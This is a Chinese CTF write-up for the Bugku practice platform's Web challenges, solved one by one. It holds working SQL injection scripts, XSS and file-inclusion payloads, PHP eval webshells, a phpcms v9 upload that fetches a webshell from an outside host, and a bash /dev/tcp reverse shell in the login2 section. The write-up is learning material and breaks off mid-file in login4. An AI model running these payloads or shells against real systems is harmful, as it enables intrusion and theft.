CTF-练习平台 Web writeup

签到题

这里写图片描述


web2

这里写图片描述


文件上传测试

经典的题目,用burp抓包得到如下 

这里写图片描述

然后我们更改一下上传路径然后用%00截断一下即可

Content-Disposition: form-data; name="file"; filename="3.png%001.php"
  • 1


计算题

改一下浏览器中的text的长度

这里写图片描述


Web3

进去一直弹框,没完没了…直接禁用了F12看源码,发现有一个

<!--&#75;&#69;&#89;&#123;&#74;&#50;&#115;&#97;&#52;&#50;&#97;&#104;&#74;&#75;&#45;&#72;&#83;&#49;&#49;&#73;&#73;&#73;&#125;-->
  • 1

估摸就是答案,格式转换一下。 
用python写个简单的脚本即可

s='&#75;&#69;&#89;&#123;&#74;&#50;&#115;&#97;&#52;&#50;&#97;&#104;&#74;&#75;&#45;&#72;&#83;&#49;&#49;&#73;&#73;&#73;&#125'
key=s.split(';')
flag=''
for i in key:
    flag+=chr(int(i[2:]))
print flag
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6


sql注入

真的是sql注入啊,每一次都想不到宽字节注入,给自己一个大大的巴掌!下面讲题 
首先我们看到了界面以后id是注入点,然后进行各种union select什么的姿势并没有什么卵用。然后好久好久才想到宽字节注入!

实验http://103.238.227.13:10083/index.php?id=%df%27 or 1%23 

这里写图片描述

验证了就是宽字节注入,然后我们观察可以看到给出的是id和key,那么估计查询的时候是两个项,不信可以验证一下 

这里写图片描述

而且这里也给了提示,我们注入的是key表,不行也可以用简单的爆表验证http://103.238.227.13:10083/index.php?id=%df%27 union select 1, table_name from information_schema.tables%23

然后我们查表的过程中会遇到一点小问题,key既是字段名又是表明会产生冲突,我们要用“来包含住,payload如下

http://103.238.227.13:10083/index.php?id=%df%27  union select 1,string  from `key` where id =1%23
  • 1

然后就可以得到一个hash值,结果KEY{54f3320dc261f313ba712eb3f13a1f6d}


SQL注入1

本题坑了我很久。一开始思路偏了以为是盲注,但是大牛说想复杂了。而且之前因为一个;的问题一直没结果。

就是字符串的绕过,但是怎么绕过?我们观察这个函数 

这里写图片描述

这个函数为了防止xss把 类似的标签去掉了,那么我们可以利用这个构造绕过sql的过滤。比如说 

这里写图片描述

可以知道查询确实只有两列,类似的我们根据提示union查询(注意)其实直接就出来了(我太弱了…)

payload:http://103.238.227.13:10087/index.php?id=-1 un<br>ion se<br>lect hash,1  fro<br>m `key`#
  • 1


本地包含

哪门子本地包含啊,分明是某春秋原题…但是某春秋明显服务器的ubuntu的吧。但是貌似这个服务器不是,不能执行bash指令,但是调用php的函数就好了。还是注入eval( “var_dump($a);”); 这句话。payload如下

http://post2.bugku.com/hello?hello=);print_r(file("./flag.php")); //
  • 1

这里写图片描述

原题题解可以看这儿 
flag{ccd234c9-c022-4ce3-8a62-e56374e3324f}


变量1

不说话,又是某春秋原题 

这里写图片描述

原题题解还是可以看这儿


Web4

首先进入页面,随便输入一个东西,提示仔细看,所以感觉应该是有什么东西输出但是一下子被刷掉了,用burp抓包看一下!发现果然有东西! 

这里写图片描述

然后我们发现一段js脚本用在线js运行器跑一下! 
在线JS传送门

var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
var p3 =unescape(p1) + unescape('%35%34%61%61%32' + p2);
console.log( p3);
  • 1
  • 2
  • 3
  • 4

解密后得到代码

function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;
  • 1

可以看到就是简单的构造一下password呗~


Web5

怎么界面还是一样的???burp抓包发现成了这个… 

这里写图片描述

直接用google的console就完事儿了…是叫brianfuck貌似? 

这里写图片描述


flag在index里

这个题目是文件包含…告诉你flag在index.php中,但是没有显示,肯定被注入掉了,然后我们看到url是xxx?file=…,很像文件包含,尝试一下得到flag 


这里写图片描述
这里写图片描述


phpcmsV9

这个是常见的php漏洞模板之一,花式cms之一,而且本次西安网赛线下赛正好除了phpcms9的漏洞,正好上手玩儿一下。 
告诉你flag的位置,直接了当就是想到任意文件上传(本模板还有mysql注入漏洞)。

首先打开网址

http://phpcms.test.bugku.com/index.php?m=member&c=index&a=register&siteid=1
  • 1

发现是会员的申请页面,然后构造payload

siteid=1&modelid=11&username=123456&password=123456&email=123456@qq.com&info[content]=<img src=http://file.codecat.one/normalOneWord.txt#.jpg>&dosubmit=1&protocol=
  • 1

我们可以看到www.bugku.com/tools/phpyijuhua.txt就是我们小马的地址了,最最简单的一句话木马了。然后上传以后会返回mysql错误回传地址,这里放截图(截图和这个地址不匹配但是原理相似) 

这里写图片描述
这里写图片描述

可以看到上传成功,然后我们放上去真正的木马!php文件

这里写代码片
  • 1

这里写图片描述

注意!这里每一次提交的时候账号密码邮箱需要变换,否则会失败 
或者用Harry提供的工具,上传小马 

这里写图片描述

然后上传一次基本上你就被ban了,因为服务器有基本的防护!没关系,等一会再菜刀链接!!!就成功了!

这里写图片描述
这里写图片描述

实现了最最简单的漏洞利用!!!

输入密码查看flag

首先看到了页面,输入5位密码数字得到flag,一看五位数字,那么总共10万种情况,直观就是爆破,时间比较长,但是不需要怀疑人生,直接爆破即可,代码如下:

#coding:utf-8
import requests
url='http://120.24.86.145:8002/baopo/?yes'
value=[]
for i in range(0,99999):
    if(len(str(i))<5):
        value.append("0"*(5-len(str(i)))+str(i))
    else :
        value.append(str(i))
data = {'pwd':11111}
content = requests.post(url,data=data)
content.encoding='utf-8'
patch=content.text
for i in value:
    data = {'pwd':i}
    print 'trying',i
    content = requests.post(url,data=data)
    content.encoding='utf-8'
    html=content.text
    #print html
    if html != patch:
        print html
    #print content.text.decode('gbk', 'ignore')

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25

嫌速度太慢可以开多个线程,分段爆破,可以得到结果

这里写图片描述

得到flag:flag{bugku-baopo-hah}

前女友

首先看网页源码可以找到链接 

这里写图片描述

然后审计代码看到最简单的php了

<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

利用经典的md5 弱类型匹配和strcmp的数组get漏洞,当strcmp(数组,字符串)==0,然后我们构造payload如下

http://47.93.190.246:49162/?v1=QNKCDZO&v2=240610708&v3[]=0
  • 1

得到flag

SKCTF{Php_1s_tH3_B3St_L4NgUag3}
  • 1

成绩查询

很久不做注入,最最简单的注入都不会了… 
先是尝试union 查询,测试列数,发现是四列 

这里写图片描述

然后明显四个都是注入点,常见的爆库爆列即可 
爆库

id='union select (select SCHEMA_NAME from information_schema.SCHEMATA limit 1,1),1,1,1#
  • 1

爆表

id='union select (select table_NAME from information_schema.tables limit 40,1),1,1,1# #fl4g的成绩单
  • 1

爆列名因为太多了写了个脚本

#coding:utf-8
import requests
import re
url='http://120.24.86.145:8002/chengjidan/'
data = {'pwd':11111}
content = requests.post(url,data=data)
content.encoding='utf-8'
patch=content.text
for i in range(1,500):
    data = {'id':"'union select (select column_NAME from information_schema.columns limit %d,1),1,1,1#"%i}
    content = requests.post(url,data=data)
    content.encoding='utf-8'
    html=content.text
    html=re.findall(r'<caption>(.*?)</caption>',html,re.S)
    if len(html)>0:
        print html[0][:-4]
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

也或者这么查,简单一些

id=-1' union select 1,2,3, group_concat(column_name) from information_schema.columns where table_name=0x666c3467#爆字段
  • 1

最后直接查询即可,payload

id='union select (select skctf_flag from  fl4g limit 0,1),1,1,1#
  • 1
BUGKU{Sql_INJECT0N_4813drd8hz4}
  • 1

同时这里用了sqlmap post注入的方法,详情请看

sqlmap 的post注入方法

Web6

这个题目搞的我也是懵逼,一看思路就是发现headers中的flag,然后base64解密两次post提交,写一个脚本就行了,但是呢,这里需要主意一个问题。 
观察就会发现,每次访问的时候cookie是会变化的…所以啊…用python写脚本的时候,需要加上会话…需要加上会话…需要加上会话… 
脚本如下:

#coding:utf-8
import requests,base64
import re
url='http://120.24.86.145:8002/web6/'
value=[0]*1000000
s=requests.Session()
content = s.post(url)
html = content.headers['flag']
flag  = base64.b64decode(base64.b64decode(html)[-8:])
#print flag
data = {'margin':flag}
content = s.post(url,data=data)
print content.text
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

flag

KEY{111dd62fcd377076be18a}
  • 1

Cookie欺骗???

简单的cookie构造,首先看网页是一个读取文件。其中我们可以看到filenamebase64加密后的内容,经过测试line是代表行数,然后我们尝试读取index.php本身。

#coding:utf-8
import requests,base64
import re
html=''
url='http://120.24.86.145:8002/web11/index.php?line=%d&filename=aW5kZXgucGhw'
s=requests.Session()
for i in range(100):
    content=s.get(url%i)
    if content.text=='':
        break
    html+=content.text
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

得到index.php的源代码如下

<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}

if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

发现就是呀加上一个cookie,让keys.php加入道文件列表中,然后申请读取keys.php即可,payload如下

#coding:utf-8
import requests,base64
import re
s=requests.Session()
cookies={'margin':'margin'}
content=s.get("http://120.24.86.145:8002/web11/index.php?line=0%d&filename=a2V5cy5waHA=", cookies=cookies)
print content.text
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

flag

KEY{key_keys}
  • 1

XSS

我们看源代码可以看到关键代码如下

<script>
    var s="";   document.getElementById('s').innerHTML = s;
</script>
  • 1
  • 2
  • 3

然后我们看淡变量s比肩关键,但是题目中是通过构造

http://103.238.227.13:10089/?id=xxxx
  • 1

来改变s值的,虽然我不知道这是为啥….

然后我们搜索关键代码吧,发现可以找到payload

http://103.238.227.13:10089/?id=\u003cimg src=1 onerror=alert(_key_)\u003e
  • 1

因为直接构造<不行,会用&lt;替换掉,插入的变成了纯文本,所以就用这种方法。

http://103.238.227.13:10089/?id=\u003cimg%20src=1%20onclick=alert(_key_)\u003e
  • 1

也行

never give up

进入界面不知道是啥,F12查看源码,发现提示1p.html?然后试一下,发现自动跳转到论坛去了。然后用burp抓一下包,发现 

这里写图片描述

脱出来然后urldecode一下,发现一个base64的密文,解密后再进行urldecode,得到一段关键代码

if(!$_GET['id'])
{
    header('Location: hello.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'no no no no no no no';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    require("f4l2a3g.txt");
}
else
{
    print "never never never give up !!!";
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

太尼麻痴汉了…一直想去绕过,没想起来直接去访问就可以… 

这里写图片描述

flag{tHis_iS_THe_fLaG}
  • 1

但是正解是什么呢!分为几个关键点

1.最简单的id==00==字符串绕过

2.
$data = @file_get_contents($a,'r');
$data=="bugku is a nice plateform!"

这个利用了file_get_contents的特性,当用到php://input的时候,file_get_contents支持字节流输入,只要将a设为php://input,且post过去bugku is a nice plateform!即可

3.strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4

strlen对%00不截断,而eregi对%00截断,只要构造b=%00+大于4位的串即可
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

这里写图片描述

welcome to bugkuctf

首先就能在F12中看到源码

<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->  
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

果断构造 

这里写图片描述

发现没什么特别的,利用一下文件包含,有反应了 
这里写图片描述

base64解密得到

<?php  

class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("good");
        }  
    }  
}  
?>   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

发现了经典的__toString事件,但是没有触发的条件啊!肯定是index.php还藏着东西,于是查看得到 

这里写图片描述

<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
        echo "ä¸èƒ½çŽ°åœ¨å°±ç»™ä½ flag哦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  

?>  
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20

就是输出反序列化的时候会触发__toString属性。那么构造一下password值,自己写个代码即可 

这里写图片描述

这里写图片描述

flag{php_is_the_best_language}
  • 1

过狗一句话

看到过狗一句话,一开始是以为要想办法上传这个一句话来着,但是发现不是,居然是可以直接利用的,尝试http://120.24.86.145:8010/?s=phpinfo()发现可以利用。 
构造想读取目录,发现有一些坑,system(“ls”)读出来,可能是读取的方法被限制了吧,于是找到了用php读取文件列表的方法23333

http://120.24.86.145:8010/?s=print_r(glob("*"))
  • 1

这里写图片描述

然后读取flag.txt即可啦,尝试print_r(file(flag.txt))不可以最终找到 show_source的方法:

http://120.24.86.145:8010/?s=show_source("flag.txt")
  • 1
BUGKU{bugku_web_009801_a}
  • 1

各种绕过哟

首先就能看到源码

 <?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
    if ($_GET['uname'] == $_POST['passwd'])

        print 'passwd can not be uname.';

    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

        die('Flag: '.$flag);

    else

        print 'sorry!';

}
?> 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

开始看错了看成了==,这个正常来看是不可能的,因为===是严格的等号,但是sha1函数有个漏洞,不能处理数组,于是如下构造得到flag 

这里写图片描述

flag{HACK_45hhs_213sDD}
  • 1

Web8

这个题目很简单,用到了前面题目中讲到的php中file_get_contents的特性可以使用字节流。只需要构造如下得到flag 

这里写图片描述

或说你那提示txt?到底算个什么提示啊…

flag{3cfb7a90fc0de31}
  • 1

字符?正则?

本题目考察的是正则表达式的应用,虽然很基础…但是挡不住我不会啊…所以简单查一下很快就做出来了,首先打开了网页看到源码

<?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){ 
  die('key is: '.$key);
}
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

最最关键的还是看preg_match中的内容嘛,这里简单讲一下、需要用到的规则

  • 1.表达式直接写出来的字符串直接利用,如key
  • 2.“.”代表任意字符
  • 3.“*”代表一个或一序列字符重复出现的次数,即前一个字符重复任意次
  • 4.“\/”代表“/”
  • 5.[a-z]代表a-z中的任意一个字符
  • 6.[[:punct:]]代表任意一个字符,包括各种符号
  • 7./i代表大小写不敏感
  • 8.{4-7}代表[0-9]中数字连续出现的次数是4-7次

然后我们自己按照规则胡乱构造一下就可以了

http://120.24.86.145:8002/web10/?id=keyssssskey4567key:/s/ssssskeya@
  • 1
KEY{0x0SIOPh550afc}
  • 1

考细心

不知道是个啥,反正先用dirsearch扫描一下来着,发现目录 

这里写图片描述

然后查看robots.txt 
这里写图片描述

查看resusl.php 
这里写图片描述

说实话然后我就蒙蔽了,什么操作???然后按照提示做了一下,想办法变成admin…构造x=admin…结果… 
这里写图片描述

flag(ctf_0098_lkji-s)
  • 1

求getshell

首先想到%00的字符串截断,但是没用,蒙蔽了很久,最后忍不住看了一下大佬的思路。 
首先我尝试一下上传图片 

这里写图片描述

发现上传没问题,我试图吧filename改成php未果 
php2, php3, php4, php5, phps, pht, phtm, phtml 均试下还是没啥结果… 
参考大佬的思路,先把上面的Content-Type: multipart/form-data; 改成大小写绕过的形式,改为Content-Type: Multipart/form-data;,然后再一个一个地尝试,发现php5可以利用 
这里写图片描述

KEY{bb35dc123820e}
  • 1

flag.php

对于此题目,我最不解的就是第一问…提示hint特么居然有用…然后输入

http://120.24.86.145:8002/flagphp/?hint=0
  • 1

可以得到源码?抱着不知所然的同学们看到是不是要吐血??? 
得到源码

 <?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
    show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{   
    echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
  <form method="POST" action="#">
    <p><input name="user" type="text" placeholder="Username"></p>
    <p><input name="password" type="password" placeholder="Password"></p>
    <p><input value="Login" type="button"/></p>
  </form>
</div>
</body>
</html>

<?php
}
$KEY='ISecer:www.isecer.com';
?> 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35

一开始以为就是把ISecer:www.isecer.com反序列化一下就完事了,但是死活试不出来…然后再看一下,发现这个$KEY是赋值在后面的,所以解析的时候应该是后解析的它,那么上面的反序列化就是空值???? 
利用burp抓包后加上Cookie值即可

Cookie: ISecer=s:0:"";
  • 1
flag{unserialize_by_virink}
  • 1

web15

首先看看到源码

error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27

看到后面没有回显,想到使用时间盲注,本地构造注入语句看是否可以成功(因为它原来是在insert中) 

这里写图片描述

很像实验吧的简单的注入可以使用case when….then 构造语句 
然后写脚本爆破数据库 
这个原题在实验吧上面有,我的题解在这 
http://blog.csdn.net/qq_35078631/article/details/54773769

这里类似写个脚本即可,当然爆库爆表什么省略了,回味起来还是挺经典的时间盲注的。

import requests
import string
words = string.lowercase + string.uppercase + string.digits
url = 'http://120.24.86.145:8002/web15/'
answer=''
for length in range(1,100):
    flag=0
    for key in words:
        data = "'+(select case when (substring((select flag from flag) from {0} for 1)='{1}') then sleep() else 1 end) and '1'='1".format(length,str(key))
        headers={
            "X-FORWARDED-FOR": data
        }
        try:
            res=requests.get(url,headers=headers,timeout=5)
        except Exception as e:
            answer+=key
            print answer
            flag=1
            break
    if flag==0 and answer!= '':
        break;

print answer
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
flag{cdbf14c9551d5be5612f7bb5d2867853}
  • 1

文件包含2

首先进入界面,F12发现了源码中有upload.php而且./upload/可读,猛一看像是文件上传,但是题目的提示是文件包含啊!而且在Network中找到了这个 

这里写图片描述

哪个tip转义过来就是include.php那我们就按照文件包含去尝试一下 
结果尝试了一堆方法光是返回NAIVE!!!….回归上传的思路吧… 
上传图片小马(事实上并没有进行MIME检验,直接替换内容即可) 
发现过滤了<?php 和?>,这里给出两种绕过方法

<?=@eval($_POST['cmd']);
<script language="php">eval($_POST['cmd']);</script>
  • 1
  • 2

这里写图片描述

嗯,然后再upload.php中是不能以php运行的,所以需要再include.php(index.php)中的file变量来包含upload目录下的图片文件! 
这里写图片描述

然后直接访问即可!

SKCTF{uP104D_1nclud3_426fh8_is_Fun}
  • 1

sql注入2

首先尝试了一下admin和admin,发现提示password错误 

这里写图片描述

说明admin这个username还是存在滴。 
测试一下注入点,在username中加上'# 发现提示发现非法字符! 
这里写图片描述

猜测注入点在username中,但是过滤了哪些呢?试了十年也没弄出来…结果请教了大牛…这特么是个源码泄漏啊!!!.DS_Store典型的源码泄漏??? 
真是牛逼炸了,网上下载一个ds_store_exp.py工具,下载下来源码 
这里写图片描述

答案就在flag中…晕死…

flag{sql_iNJEct_comMon3600!}
  • 1

事后用扫描工具扫描了一下,瞬间就发现了…气到爆炸…所以做web题目,好习惯就是不管它说啥!自己先扫一遍目录吧!!! 

这里写图片描述

心情复杂…

login2

首先看到了登录的界面,经过提示是union,所以不会是万能密码,不看大佬的思路我确实没想到…用到的是猜测的登录机制。。。构造

username=' union select md5(1),md5(1)#&password=1
  • 1

一般情况下password就是username的md5加密嗯,至于为什么是两列?猜的… 

这里写图片描述

然后没有任何反映…我还以为是我脑残了…原来又是题目炸了…晕死… 
隔了段时间继续 
这里写图片描述

当然了这个不仅仅是命令行的连续执行问题,因为这个是没有回显的,所以既然我们可以利用其中的shell了,那么我们可以尝试反弹shell来着,这里真是学习了一波反弹shell的姿势,具体我补充到了我得文章中,谢谢pupil师傅的指导,我用的nc方法反弹shell,方法如下 
首先在服务器上用nc监听端口

nc -l -p 8080 -vvv
  • 1

在网站中输入

|bash -i >& /dev/tcp/23.106.128.52/8080 0>&1
  • 1

然后就发现反弹shell成功了!!!之后就是任我行了

这里写图片描述

SKCTF{Uni0n_@nd_c0mM4nD_exEc}
  • 1

login3

提示是盲注就很简单了,构造如下

username='^(1)^1#&password=123
  • 1

存在注入,猜测是盲注,然后fuzz一发发现过滤空格,用括号绕过,过滤了=,用<>饶过,mysql测试

mysql> (select(ascii(mid((select(flag)from(flag))from(1)))<>102));
+----------------------------------------------------+
| (ascii(mid((select(flag)from(flag))from(1)))<>102) |
+----------------------------------------------------+
|                                                  0 |
+----------------------------------------------------+
1 row in set (0.00 sec)

mysql> (select(ascii(mid((select(flag)from(flag))from(1)))<>103));
+----------------------------------------------------+
| (ascii(mid((select(flag)from(flag))from(1)))<>103) |
+----------------------------------------------------+
|                                                  1 |
+----------------------------------------------------+
1 row in set (0.00 sec)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

然后直接脚本测试

#!/usr/bin/env python
import requests,string,hashlib,re
url='http://47.93.190.246:49167/'
sss=string.digits+string.lowercase
headers={
    'Host': '47.93.190.246:49167',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length':' 87',
    'Referer':' http://47.93.190.246:49167/',
    'Cookie': 'td_cookie=18446744071856012820',
    'Connection':' keep-alive',
    'Upgrade-Insecure-Requests':' 1'
}
answer=''
for i in range(1,50):
    flag=0
    for j in sss:
        postuser="'^(select(ascii(mid((select(password)from(admin))from(%d)))<>%d))^1#"%(i,ord(j))
        data = {'username':postuser,'password':'admin'}
        html = requests.post(url,headers=headers,data=data) .text
        html = re.findall(r"<p align='center'>(.*?)</p>",html,re.S)[0]
        if 'username does not exist!' in html :
            answer+=j
            flag=1
            print answer
            break
    if flag ==0 :
        break

print 'password is ',answer
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34

之后得出password解密得到密钥,登陆得到flag 

这里写图片描述

SKCTF{b1iNd_SQL_iNJEcti0n!}
  • 1

报错注入

发现是报错注入,但是过滤了一些些·东西,最最重要的过滤了空格,但是我们知道mysql的特性,用换行符代替就行啦!随手实验下!

http://103.238.227.13:10088/?id=1%0aand%0aextractvalue(1,concat(0x7e,(select%0a@@version),0x7e))
  • 1

成功报错,然后这里要读文件,理所应当要使用load_file函数,但是我再本机和服务器怎么都配置不成功,然后抱着死马当做活马医的态度试了一下没出来,蛋疼了好久,经过大牛提示需要加上个hex才行???老子信了你的邪… 
所以说这里需要注意了!!!读取文件的时候最好加上hex 
payload如下

http://103.238.227.13:10088/?id=1%0aand%0a(extractvalue(1,concat(0x7e,(hex(load_file(0x2f7661722f746573742f6b65795f312e706870))),0x7e)))
  • 1

然后还好啦,我们知道extractvalue性质就是只能读取32位,经过hex后的也就是说每次最多得到有用的16位,然后怎么办? 
事实上这个是函数截断了,读取文件本身没什么问题,所以我们不妨用strsub函数解决试试看!

http://103.238.227.13:10088/?id=1%0aand%0a(extractvalue(1,concat(0x7e,substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870))%0afrom%0a161%0afor%0a20),0x7e)))
  • 1

然后就是修改偏移逐渐恢复文件了!最后恢复文件如下

<?php fdsafasfdsafidsafdsaifdsakfdsaifdsafdsafdsafdsafkdsa;fdsafdsafsdafdsafas0hfdsg9Flag:"7249f5a7fd1de602b30e6f39aea6193a"fsdafsafdsafdsafdsafa ?>
  • 1
  • 2

得到flag,确实是好题!真的,flag形式是狗屎…

Flag:7249f5a7fd1de602b30e6f39aea6193a”
  • 1

login4

据说是cbc字节反转攻击,这个之前一直没懂,小试牛刀一下 
首先扫描目录,发现文件泄露 

这里写图片描述

下载了vim恢复一下即可得到

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Login Form</title>
<link href="static/css/style.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="static/js/jquery.min.js"></script>
<script type="text/javascript">
$(document).ready(function() {
    $(".username").focus(function() {
        $(".user-icon").css("left","-48px");
    });
    $(".username").blur(function() {
        $(".user-icon").css("left","0px");
    });
    $(".password").focus(function() {
        $(".pass-icon").css("left","-48px");
    });
    $(".password").blur(function() {
        $(".pass-icon").css("left","0px");
    });
});
</script>
</head>
<?php
